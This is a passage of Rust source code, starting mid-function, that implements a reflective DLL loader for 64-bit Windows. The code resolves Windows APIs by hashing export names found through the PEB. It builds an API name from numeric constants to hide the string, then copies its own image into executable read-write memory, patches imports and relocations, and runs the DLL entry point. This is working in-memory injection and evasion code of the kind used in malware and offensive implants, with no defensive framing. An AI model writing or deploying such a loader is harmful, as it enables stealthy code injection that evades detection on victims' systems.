if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 {
return 0;
}
for i in 0..num_names {
let name_rva = rd_u32(base + addr_of_names, i * 4) as usize;
if hash_ascii(base + name_rva) == want {
let ordinal = rd_u16(base + addr_of_ord, i * 2) as usize;
let fn_rva = rd_u32(base + addr_of_funcs, ordinal * 4) as usize;
if fn_rva == 0 {
return 0;
}
return base + fn_rva;
}
}
0
}
/// Resolve an export by ordinal; returns its VA or 0.
unsafe fn export_by_ordinal(base: usize, ordinal: u16) -> usize {
let lfanew = rd_u32(base, 0x3C) as usize;
let dd = base + lfanew + 4 + 20 + 112;
let ed_rva = rd_u32(dd, 0) as usize;
if ed_rva == 0 {
return 0;
}
let ed = base + ed_rva;
let export_base = rd_u32(ed, 16) as usize;
let num_funcs = rd_u32(ed, 20) as usize;
let addr_of_funcs = rd_u32(ed, 28) as usize;
if ordinal < export_base as u16 || addr_of_funcs == 0 {
return 0;
}
let idx = ordinal as usize - export_base;
if idx >= num_funcs {
return 0;
}
let fn_rva = rd_u32(base + addr_of_funcs, idx * 4) as usize;
if fn_rva == 0 {
return 0;
}
base + fn_rva
}
// ---- The loader ----
/// Thread-start routine invoked by the `ReflectiveLoader` export on the
/// copied, un-relocated image. Returns the address of the newly loaded DLL's
/// entry point, or 0 on failure.
#[inline(never)]
pub extern "system" fn loader_impl(lpParameter: usize) -> usize {
unsafe {
// STEP 0: locate our own (un-relocated) image base.
let ui_lib = find_image_base(rip_here());
if ui_lib == 0 {
return 0;
}
// STEP 1: resolve the APIs we need by name hash.
let peb = peb_pointer();
let k32 = module_base_by_hash(peb, KERNEL32_HASH);
let ntdll = module_base_by_hash(peb, NTDLL_HASH);
if k32 == 0 || ntdll == 0 {
return 0;
}
let p_load = export_by_hash(k32, LOADLIBRARYA_HASH);
let p_get_proc = export_by_hash(k32, GETPROCADDRESS_HASH);
let p_alloc = export_by_hash(k32, VIRTUALALLOC_HASH);
let p_flush = export_by_hash(ntdll, NTFLUSH_HASH);
if p_load == 0 || p_get_proc == 0 || p_alloc == 0 {
return 0;
}
let f_load: LoadLibraryFn = core::mem::transmute(p_load);
let f_get_proc: GetProcAddressFn = core::mem::transmute(p_get_proc);
let f_alloc: VirtualAllocFn = core::mem::transmute(p_alloc);
let f_flush: NtFlushFn = core::mem::transmute(p_flush);
// Register .pdata so unwinding through our code does not crash. The
// proc-name string is materialized from immediates (no .rodata).
let mut name_space = core::mem::MaybeUninit::<[u8; 20]>::uninit();
let name_ptr = name_space.as_mut_ptr() as *mut u8 as usize;
fill_u64(name_ptr, 0x7546_6464_416C_7452); // "RtlAddFu"
fill_u64(name_ptr + 8, 0x6154_6E6F_6974_636E); // "nctionTa"
fill_u32(name_ptr + 16, 0x0065_6C62); // "ble\0"
let p_add_table = f_get_proc(ntdll, name_ptr as *const u8);
// STEP 2: load the image into a fresh permanent location.
let lfanew = rd_u32(ui_lib, 0x3C) as usize;
if lfanew == 0 {
return 0;
}
let opt = ui_lib + lfanew + 4 + 20;
let image_base = rd_u64(opt, 24) as usize;
let size_of_image = rd_u32(opt, 56) as usize;
let ui_base = f_alloc(0, size_of_image, MEM_RESERVE_COMMIT, PAGE_EXECUTE_READWRITE);
if ui_base == 0 {
return 0;
}
// Copy the headers.
copy_bytes(ui_base, ui_lib, rd_u32(opt, 60) as usize);
// STEP 3: copy all sections.
let coff = ui_lib + lfanew + 4;
let num_sections = rd_u16(coff, 2) as usize;
let opt_size = rd_u16(coff, 16) as usize;
let sec = coff + 20 + opt_size;
let mut si = 0;
while si < num_sections {
let s = sec + si * 40;
let vaddr = rd_u32(s, 12) as usize;
let raw_size = rd_u32(s, 16) as usize;
let raw_ptr = rd_u32(s, 20) as usize;
copy_bytes(ui_base + vaddr, ui_lib + raw_ptr, raw_size);
si += 1;
}
// STEP 4: fix up imports.
let dd = opt + 112;
let imp_rva = rd_u32(dd, 8) as usize;
if imp_rva != 0 {
let imp = ui_base + imp_rva;
let mut di = 0;
loop {
let desc = imp + di * 20;
let name_rva = rd_u32(desc, 12);
if name_rva == 0 {
break;
}
let hlib = f_load((ui_base + name_rva as usize) as *const u8);
let oft_rva = rd_u32(desc, 0) as usize;
let ft_rva = rd_u32(desc, 16) as usize;
let mut iat = ui_base + ft_rva;
let mut oft = if oft_rva != 0 { ui_base + oft_rva } else { 0 };
loop {
let thunk = rd_u64(iat, 0);
if thunk == 0 {
break;
}
if oft != 0 && (thunk >> 63) == 1 {
let ordinal = (thunk & 0xFFFF) as u16;
wr_u64(iat, 0, export_by_ordinal(hlib, ordinal) as u64);
} else {
let name_rva2 = (thunk as u32) as usize;
let by_name = ui_base + name_rva2;
wr_u64(iat, 0, f_get_proc(hlib, (by_name + 2) as *const u8) as u64);
}
iat += 8;
if oft != 0 {
oft += 8;
}
}
di += 1;
}
}
// STEP 5: apply relocations.
let reloc_dd = dd + 0x28;
let reloc_size = rd_u32(reloc_dd, 4);
if reloc_size != 0 {
let reloc_rva = rd_u32(reloc_dd, 0) as usize;
let delta = ui_base.wrapping_sub(image_base);
let mut r = ui_base + reloc_rva;
loop {
let block_size = rd_u32(r, 4);
if block_size == 0 {
break;
}
let target = ui_base + rd_u32(r, 0) as usize;
let mut count = (block_size as usize - 8) / 2;
let mut e = r + 8;
while count > 0 {
let word = rd_u16(e, 0) as usize;
let typ = (word >> 12) & 0xF;
let off = word & 0xFFF;
// Only DIR64 (10) needs applying; a single comparison is
// used deliberately: a multi-case dispatch lets LLVM emit
// a jump table in `.rodata`, whose RIP-relative address
// would be wrong in the raw copy.
if typ == 10 {
let v = rd_u64(target, off).wrapping_add(delta as u64);
wr_u64(target, off, v);
}
e += 2;
count -= 1;
}
r = r + block_size as usize;
}
}
// STEP 5b: register the exception table (.pdata) with the OS.
let exc_dd = dd + 0x30;
let exc_rva = rd_u32(exc_dd, 0) as usize;
let exc_size = rd_u32(exc_dd, 4) as usize;
if p_add_table != 0 && exc_rva != 0 && exc_size != 0 {
let f_add: RtlAddFunctionTableFn = core::mem::transmute(p_add_table);
let _ = f_add(ui_base + exc_rva, (exc_size / 12) as u32, ui_base as u64);
}
// Flush the instruction cache so relocated code is used.
let _ = f_flush(-1, 0, 0);
// STEP 6: invoke the DLL entry point and return its address.
let entry = ui_base + rd_u32(opt, 16) as usize;
let f_entry: DllMainFn = core::mem::transmute(entry);
let _ = f_entry(ui_base, DLL_PROCESS_ATTACH, lpParameter);
entry
}
}